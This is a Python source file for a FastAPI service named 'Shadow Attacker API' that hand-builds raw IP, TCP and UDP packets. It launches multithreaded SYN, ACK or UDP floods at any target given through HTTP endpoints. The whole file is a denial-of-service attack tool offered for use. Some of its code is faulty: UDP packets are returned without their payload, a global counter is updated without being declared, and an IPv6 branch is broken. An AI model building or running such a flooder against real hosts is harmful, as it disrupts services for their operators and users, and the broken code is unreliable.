|
|
import asyncio |
|
|
import logging |
|
|
import random |
|
|
import socket |
|
|
import struct |
|
|
import threading |
|
|
import time |
|
|
from datetime import datetime |
|
|
from typing import Dict, Optional |
|
|
from threading import Lock |
|
|
|
|
|
import uvicorn |
|
|
from fastapi import FastAPI, HTTPException, BackgroundTasks |
|
|
from pydantic import BaseModel |
|
|
|
|
|
|
|
|
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') |
|
|
logger = logging.getLogger(__name__) |
|
|
|
|
|
app = FastAPI(title="Shadow Attacker API") |
|
|
|
|
|
|
|
|
attack_running = False |
|
|
stop_events: Dict[str, threading.Event] = {} |
|
|
counters: Dict[str, int] = {} |
|
|
total_packets = 0 |
|
|
counters_lock = Lock() |
|
|
|
|
|
class StartRequest(BaseModel): |
|
|
target: str |
|
|
port: Optional[int] = None |
|
|
threads: int = 10 |
|
|
attack_type: str = "udp" |
|
|
|
|
|
class StatusResponse(BaseModel): |
|
|
running: bool |
|
|
attack_id: Optional[str] |
|
|
total_packets: int |
|
|
counters: Dict[str, int] |
|
|
logs: list |
|
|
|
|
|
def checksum(msg: bytes) -> int: |
|
|
"""Calculate IP/TCP/UDP checksum.""" |
|
|
s = 0 |
|
|
for i in range(0, len(msg), 2): |
|
|
if i + 1 < len(msg): |
|
|
w = msg[i] << 8 | msg[i + 1] |
|
|
else: |
|
|
w = msg[i] << 8 |
|
|
s += w |
|
|
while s >> 16: |
|
|
s = (s & 0xFFFF) + (s >> 16) |
|
|
return ~s & 0xFFFF |
|
|
|
|
|
def pseudo_checksum(src_ip: bytes, dst_ip: bytes, proto: int, length: int) -> int: |
|
|
"""Pseudo header checksum for TCP/UDP.""" |
|
|
s = 0 |
|
|
|
|
|
s += (src_ip[0] << 8) + src_ip[1] |
|
|
s += (src_ip[2] << 8) + src_ip[3] |
|
|
|
|
|
s += (dst_ip[0] << 8) + dst_ip[1] |
|
|
s += (dst_ip[2] << 8) + dst_ip[3] |
|
|
s += proto |
|
|
s += length |
|
|
while s >> 16: |
|
|
s = (s & 0xFFFF) + (s >> 16) |
|
|
return s |
|
|
|
|
|
def resolve_target(host: str) -> bytes: |
|
|
"""Resolve target IP.""" |
|
|
try: |
|
|
if ':' in host: |
|
|
ip = socket.inet_aton(host) |
|
|
else: |
|
|
ip = socket.inet_aton(socket.gethostbyname(host)) |
|
|
return ip |
|
|
except: |
|
|
raise ValueError(f"Invalid target: {host}") |
|
|
|
|
|
def get_local_ip(dst_ip: bytes) -> bytes: |
|
|
"""Get local source IP for routing to dst.""" |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
|
|
s.connect((socket.inet_ntoa(dst_ip), 53)) |
|
|
src_ip = s.getsockname()[0] |
|
|
s.close() |
|
|
return socket.inet_aton(src_ip) |
|
|
except: |
|
|
return socket.inet_aton("0.0.0.0") |
|
|
|
|
|
def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, total_len: int) -> bytes: |
|
|
"""Build IP header.""" |
|
|
ip = bytearray(20) |
|
|
ip[0] = 0x45 |
|
|
ip[1] = 0x00 |
|
|
struct.pack_into('!H', ip, 2, total_len) |
|
|
struct.pack_into('!H', ip, 4, random.randint(1, 65535)) |
|
|
struct.pack_into('!H', ip, 6, 0x40) |
|
|
ip[8] = 64 |
|
|
ip[9] = proto |
|
|
struct.pack_into('!H', ip, 10, 0) |
|
|
ip[12:16] = src_ip |
|
|
ip[16:20] = dst_ip |
|
|
|
|
|
ip_cs = checksum(bytes(ip)) |
|
|
struct.pack_into('!H', ip, 10, ip_cs) |
|
|
return bytes(ip) |
|
|
|
|
|
def build_tcp_header(src_port: int, dst_port: int, seq: int, ack: int, flags: int, length: int) -> bytes: |
|
|
"""Build TCP header (20 bytes).""" |
|
|
tcp = bytearray(20) |
|
|
struct.pack_into('!HH', tcp, 0, src_port, dst_port) |
|
|
struct.pack_into('!II', tcp, 4, seq, ack) |
|
|
tcp[12] = 0x50 |
|
|
tcp[13] = flags |
|
|
struct.pack_into('!H', tcp, 14, 65535) |
|
|
struct.pack_into('!H', tcp, 16, 0) |
|
|
struct.pack_into('!H', tcp, 18, 0) |
|
|
return bytes(tcp) |
|
|
|
|
|
def build_udp_header(src_port: int, dst_port: int, length: int) -> bytes: |
|
|
"""Build UDP header (8 bytes).""" |
|
|
udp = bytearray(8) |
|
|
struct.pack_into('!HHHH', udp, 0, src_port, dst_port, length, 0) |
|
|
return bytes(udp) |
|
|
|
|
|
def build_tcp_packet(src_ip: bytes, dst_ip: bytes, src_port: int, dst_port: int, seq: int, ack: int, flags: int) -> bytes: |
|
|
"""Build full TCP SYN/ACK packet.""" |
|
|
tcp_hdr = build_tcp_header(src_port, dst_port, seq, ack, flags, 20) |
|
|
ip_hdr = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 40) |
|
|
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20) |
|
|
tcp_cs = checksum(struct.pack('!H', pseudo) + tcp_hdr) |
|
|
struct.pack_into('!H', tcp_hdr, 16, tcp_cs) |
|
|
return ip_hdr + tcp_hdr |
|
|
|
|
|
def build_udp_packet(src_ip: bytes, dst_ip: bytes, src_port: int, dst_port: int, payload: bytes) -> bytes: |
|
|
"""Build full UDP packet.""" |
|
|
udp_len = 8 + len(payload) |
|
|
udp_hdr = build_udp_header(src_port, dst_port, udp_len) |
|
|
ip_hdr = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, 28 + len(payload)) |
|
|
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len) |
|
|
udp_cs = checksum(struct.pack('!H', pseudo) + udp_hdr + payload) |
|
|
struct.pack_into('!H', udp_hdr, 6, udp_cs) |
|
|
return ip_hdr + udp_hdr |
|
|
|
|
|
async def flood_worker(attack_id: str, dst_ip: bytes, src_ip: bytes, dst_port: int, payload: bytes, stop_event: threading.Event, attack_type: str): |
|
|
"""Worker thread for flooding.""" |
|
|
s = None |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) |
|
|
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) |
|
|
while not stop_event.is_set(): |
|
|
src_port = random.randint(1024, 65535) |
|
|
if attack_type == "syn": |
|
|
pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port, random.randint(0, 2**32-1), 0, 0x02) |
|
|
elif attack_type == "ack": |
|
|
pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10) |
|
|
else: |
|
|
pkt = build_udp_packet(src_ip, dst_ip, src_port, dst_port, payload) |
|
|
s.sendto(pkt, (socket.inet_ntoa(dst_ip), 0)) |
|
|
with counters_lock: |
|
|
counters[attack_id] = counters.get(attack_id, 0) + 1 |
|
|
total_packets += 1 |
|
|
await asyncio.sleep(0.001) |
|
|
except Exception as e: |
|
|
logger.error(f"Worker error: {e}") |
|
|
finally: |
|
|
if s: |
|
|
s.close() |
|
|
|
|
|
def start_background_attack(req: StartRequest): |
|
|
"""Start attack in background threads.""" |
|
|
attack_id = f"{req.target}_{int(time.time())}" |
|
|
stop_event = threading.Event() |
|
|
stop_events[attack_id] = stop_event |
|
|
dst_ip = resolve_target(req.target) |
|
|
src_ip = get_local_ip(dst_ip) |
|
|
dst_port = req.port or random.randint(1, 65535) |
|
|
payload = b''.join(bytes([random.randint(0, 255)]) for _ in range(1200)) if req.attack_type == "udp" else b'' |
|
|
mutate = req.attack_type == "udp" |
|
|
|
|
|
def run_threads(): |
|
|
threads = [] |
|
|
for _ in range(req.threads): |
|
|
t = threading.Thread(target=lambda: asyncio.run(flood_worker(attack_id, dst_ip, src_ip, dst_port, payload, stop_event, req.attack_type))) |
|
|
t.start() |
|
|
threads.append(t) |
|
|
for t in threads: |
|
|
t.join() |
|
|
|
|
|
thread = threading.Thread(target=run_threads) |
|
|
thread.start() |
|
|
logger.info(f"Started {req.attack_type} attack on {req.target}:{dst_port} with {req.threads} threads") |
|
|
return attack_id |
|
|
|
|
|
@app.post("/start") |
|
|
async def start_attack(req: StartRequest, background_tasks: BackgroundTasks): |
|
|
global attack_running |
|
|
if attack_running: |
|
|
raise HTTPException(status_code=400, detail="Attack already running") |
|
|
attack_running = True |
|
|
attack_id = start_background_attack(req) |
|
|
return {"message": "Attack started", "attack_id": attack_id} |
|
|
|
|
|
@app.post("/stop") |
|
|
async def stop_attack(attack_id: Optional[str] = None): |
|
|
global attack_running |
|
|
if attack_id: |
|
|
stop_events.get(attack_id, threading.Event()).set() |
|
|
del counters[attack_id] |
|
|
else: |
|
|
for ev in stop_events.values(): |
|
|
ev.set() |
|
|
counters.clear() |
|
|
attack_running = False |
|
|
return {"message": "Attack stopped"} |
|
|
|
|
|
@app.get("/status", response_model=StatusResponse) |
|
|
async def get_status(attack_id: Optional[str] = None): |
|
|
with counters_lock: |
|
|
total = total_packets |
|
|
cnts = {k: v for k, v in counters.items()} if not attack_id else {attack_id: counters.get(attack_id, 0)} |
|
|
logs = [] |
|
|
return StatusResponse(running=attack_running, attack_id=attack_id, total_packets=total, counters=cnts, logs=logs) |
|
|
|
|
|
if __name__ == "__main__": |
|
|
uvicorn.run(app, host="0.0.0.0", port=8000) |